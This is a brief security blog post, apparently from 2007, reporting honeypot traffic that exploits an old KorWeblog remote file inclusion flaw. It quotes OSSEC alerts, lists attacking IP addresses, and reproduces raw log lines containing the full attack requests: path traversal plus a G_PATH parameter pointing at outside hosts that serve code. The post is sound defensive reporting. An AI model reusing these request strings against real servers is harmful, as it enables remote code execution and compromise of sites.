Hammered by web attacks (KorWeblog)

Some of my web honeypots are being hammered by attacks against KorWeblog. If fact, even my real systems are received a lot of these too.. It looks like they are trying to exploit an old vulnerability (from 2005), which sounds odd to me.

Example of alert from ossec:

OSSEC HIDS Notification.
2007 Jun 27 17:07:30

Received From: xx->/var/log/httpd/xx.access.log
Rule: 31106 fired (level 12) -> “A web attack returned code 200 (success).”
Portion of the log(s):

8.10.120.85 – – [27/Jun/2007:17:07:29 -0300] “GET /install/index.php?lng=../../include/main.inc&G_PATH=http://nicksom2d.sytes.net/ex/echo? HTTP/1.1″ 200 6349 “-” “libwww-perl/5.805″

Just one honeypot (yes, one) in the last few days was “attacked” by the following IPs (25 different):

189.1.168.118
200.193.146.100
200.219.150.6
202.123.27.136
203.55.214.70
207.150.188.50
207.226.179.98
209.216.205.81
210.188.204.198
211.247.239.10
213.194.149.130
216.7.185.31
217.170.66.240

83.103.57.13
83.217.84.88
85.125.233.222
89.110.144.202

The logs look all the same:

200.193.146.100 – – [26/Jun/2007:16:37:37 -0300] “GET /*install/index.php?lng=../../include/main.inc&G_PATH=http://www.thiaguinho.net/id.txt? HTTP/1.1″ 200 6351 “-” “libwww-perl/5.79″
8.10.120.85 – – [27/Jun/2007:17:07:29 -0300] “GET /install/index.php?lng=../../include/main.inc&G_PATH=http://nicksom2d.sytes.net/ex/echo? HTTP/1.1″ 200 6349 “-” “libwww-perl/5.805″

I posted a few of the sites that were found at the WebAttacks Links in the ossec wiki.
